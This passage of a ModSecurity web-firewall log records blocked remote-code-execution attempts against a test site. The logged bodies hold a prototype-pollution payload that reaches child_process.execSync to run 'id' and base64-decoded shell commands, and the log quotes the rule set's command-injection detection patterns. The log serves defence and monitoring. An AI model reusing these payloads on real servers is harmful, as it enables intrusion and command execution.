[Wed Dec 31 07:58:00.586709 2025] [:error] [pid 1096223] [client 213.209.159.150:55458] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;id&#039;,{&#039;timeout&#039;:60000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [ [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeGdu4GPM3i--VUEZzAAAABc&quot;]
[Wed Dec 31 07:58:00.587728 2025] [:error] [pid 1096223] [client 213.209.159.150:55458] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;id&#039;,{&#039;timeout&#039;:60000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot; [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeGdu4GPM3i--VUEZzAAAABc&quot;]
[Wed Dec 31 07:58:00.587837 2025] [:error] [pid 1096223] [client 213.209.159.150:55458] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(id {timeout:60000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeGdu4GPM3i--VUEZzAAAABc&quot;]
[Wed Dec 31 07:58:00.588917 2025] [:error] [pid 1096223] [client 213.209.159.150:55458] [client 213.209.159.150] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 15)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeGdu4GPM3i--VUEZzAAAABc&quot;]
[Wed Dec 31 07:58:00.589102 2025] [:error] [pid 1096223] [client 213.209.159.150:55458] [client 213.209.159.150] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeGdu4GPM3i--VUEZzAAAABc&quot;]
[Wed Dec 31 07:58:00.772342 2025] [:error] [pid 1096217] [client 213.209.159.150:55474] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo &#039;\\x5c\\x5c&#039;&#039;ZWNobyBSMlNWMl9WVUxOX1RFU1Q=&#039;\\x5c\\x5c&#039;&#039; | base64 -d | sh&#039;,{&#039;timeout&#039;:60000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2. [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeFRIYZkOd0KBKLvI6gAAABE&quot;]
[Wed Dec 31 07:58:00.772553 2025] [:error] [pid 1096217] [client 213.209.159.150:55474] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo &#039;\\x5c\\x5c&#039;&#039;ZWNobyBSMlNWMl9WVUxOX1RFU1Q=&#039;\\x5c\\x5c&#039;&#039; | base64 -d | sh&#039;,{&#039;timeout&#039;:60000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3 [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeFRIYZkOd0KBKLvI6gAAABE&quot;]
[Wed Dec 31 07:58:00.772682 2025] [:error] [pid 1096217] [client 213.209.159.150:55474] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo zwnobybsmlnwml9wvuxox1rfu1q= | base64 -d | sh {timeout:60000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeFRIYZkOd0KBKLvI6gAAABE&quot;]
[Wed Dec 31 07:58:00.773151 2025] [:error] [pid 1096217] [client 213.209.159.150:55474] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo &#039;&#039;&#039;ZWNobyBSMlNWMl9WVUxOX1RFU1Q=&#039;&#039;&#039; | base64 -d | sh&#039;,{&#039;timeout&#039;:60000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x22then\\x22: \\x22$B0\\x...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/W [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeFRIYZkOd0KBKLvI6gAAABE&quot;]
[Wed Dec 31 07:58:00.773874 2025] [:error] [pid 1096217] [client 213.209.159.150:55474] [client 213.209.159.150] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 20)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeFRIYZkOd0KBKLvI6gAAABE&quot;]
[Wed Dec 31 07:58:00.774028 2025] [:error] [pid 1096217] [client 213.209.159.150:55474] [client 213.209.159.150] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 20, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeFRIYZkOd0KBKLvI6gAAABE&quot;]
[Wed Dec 31 07:58:01.028872 2025] [:error] [pid 1096216] [client 213.209.159.150:55490] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo &#039;\\x5c\\x5c&#039;&#039;aWQ=&#039;\\x5c\\x5c&#039;&#039; | base64 -d | sh&#039;,{&#039;timeout&#039;:60000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x2...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2. [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJedOSfH6e6681kKRuWQAAABA&quot;]
[Wed Dec 31 07:58:01.028989 2025] [:error] [pid 1096216] [client 213.209.159.150:55490] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo &#039;\\x5c\\x5c&#039;&#039;aWQ=&#039;\\x5c\\x5c&#039;&#039; | base64 -d | sh&#039;,{&#039;timeout&#039;:60000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x2...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3 [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJedOSfH6e6681kKRuWQAAABA&quot;]
[Wed Dec 31 07:58:01.029070 2025] [:error] [pid 1096216] [client 213.209.159.150:55490] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[&lt;&gt;]\\\\(.*\\\\))&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;372&quot;] [id &quot;932130&quot;] [msg &quot;Remote Command Execution: Unix Shell Expression Found&quot;] [data &quot;Matched Data: ${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}} found within ARGS:0: {_response:{_formdata:{get:$1:constructor:constructor} _prefix:var res=process.mainmodule.require(child_process).execsync(echo awq= | base64 -d | sh {timeout:60000}).tostring() throw object.assign(new error(next_redirect) {digest:`${res}`}) } reason:-1 status:resolved_model then:$1:__proto__:then value:{then: $b0}}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-shell&quot;] [tag &quot;platform-unix&quot;] [tag &quot;attack-rce&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION&quot;] [tag &quot;WASCTC/WASC-31&quot;] [tag &quot;OWASP_TOP_10/A1&quot;] [tag &quot;PCI/6.5.2&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJedOSfH6e6681kKRuWQAAABA&quot;]
[Wed Dec 31 07:58:01.029386 2025] [:error] [pid 1096216] [client 213.209.159.150:55490] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf&quot;] [line &quot;149&quot;] [id &quot;941130&quot;] [msg &quot;XSS Filter - Category 3: Attribute Vector&quot;] [data &quot;Matched Data:  base64 found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res=process.mainModule.require(&#039;child_process&#039;).execSync(&#039;echo &#039;&#039;&#039;aWQ=&#039;&#039;&#039; | base64 -d | sh&#039;,{&#039;timeout&#039;:60000}).toString();throw Object.assign(new Error(&#039;NEXT_REDIRECT&#039;),{digest:`${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x22then\\x22: \\x22$B0\\x22}\\x22}&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-xss&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/XSS&quot;] [ta [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJedOSfH6e6681kKRuWQAAABA&quot;]
[Wed Dec 31 07:58:01.030073 2025] [:error] [pid 1096216] [client 213.209.159.150:55490] [client 213.209.159.150] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 20)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJedOSfH6e6681kKRuWQAAABA&quot;]
[Wed Dec 31 07:58:01.030237 2025] [:error] [pid 1096216] [client 213.209.159.150:55490] [client 213.209.159.150] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 20 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 20, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJedOSfH6e6681kKRuWQAAABA&quot;]
[Wed Dec 31 07:58:01.220249 2025] [:error] [pid 1095597] [client 213.209.159.150:55496] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|\\\\$\\\\(|\\\\$\\\\(\\\\(|`|\\\\${|&lt;\\\\(|&gt;\\\\(|\\\\(\\\\s*\\\\))\\\\s*(?:{|\\\\s*\\\\(\\\\s*|\\\\w+=(?:[^\\\\s]*|\\\\$.*|\\\\$.*|&lt;.*|&gt;.*|\\\\&#039;.*\\\\&#039;|\\&quot;.*\\&quot;)\\\\s+|!\\\\s*|\\\\$)*\\\\s*(?:&#039;|\\&quot;)*(?:[\\\\?\\\\*\\\\[\\\\]\\\\(\\\\)\\\\-\\\\|+\\\\w&#039;\\&quot;\\\\./\\\\\\\\]+/)?[\\\\\\\\&#039;\\&quot;]*(?:s[\\\\\\\\&#039;\\&quot;]* ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;160&quot;] [id &quot;932105&quot;] [msg &quot;Remote Command Execution: Unix Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var _0x1=process,_0x2=_0x1[&#039;mainModule&#039;],_0x3=_0x2[&#039;require&#039;],_0x4=_0x3(&#039;child_process&#039;),_0x5=_0x4[&#039;execSync&#039;](&#039;echo R2SV2_VULN_TEST&#039;,{&#039;timeout&#039;:60000})[&#039;toString&#039;]();throw Object[&#039;assign&#039;](new Error(&#039;NEXT_REDIRECT&#039;),{&#039;digest&#039;:`${_0x5}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x2...&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2. [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/&quot;] [unique_id &quot;aVTJeUdyGCWL1cLE7PWB6wAAAAE&quot;]
[Wed Dec 31 07:58:01.220375 2025] [:error] [pid 1095597] [client 213.209.159.150:55496] [client 213.209.159.150] ModSecurity: Warning. Pattern match &quot;(?i)(?:;|\\\\{|\\\\||\\\\|\\\\||&amp;|&amp;&amp;|\\\\n|\\\\r|`)\\\\s*[\\\\(,@\\\\&#039;\\&quot;\\\\s]*(?:[\\\\w&#039;\\&quot;\\\\./]+/|[\\\\\\\\&#039;\\&quot;\\\\^]*\\\\w[\\\\\\\\&#039;\\&quot;\\\\^]*:.*\\\\\\\\|[\\\\^\\\\.\\\\w &#039;\\&quot;/\\\\\\\\]*\\\\\\\\)?[\\&quot;\\\\^]*(?:s[\\&quot;\\\\^]*(?:y[\\&quot;\\\\^]*s[\\&quot;\\\\^]*(?:t[\\&quot;\\\\^]*e[\\&quot;\\\\^]*m[\\&quot;\\\\^]*(?:p[\\&quot;\\\\^]*r[\\&quot;\\\\^]*o[\\&quot;\\\\^]*p[\\&quot;\\\\^]*e ...&quot; at ARGS:0. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf&quot;] [line &quot;298&quot;] [id &quot;932115&quot;] [msg &quot;Remote Command Execution: Windows Command Injection&quot;] [data &quot;Matched Data: {&#039;timeout found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var 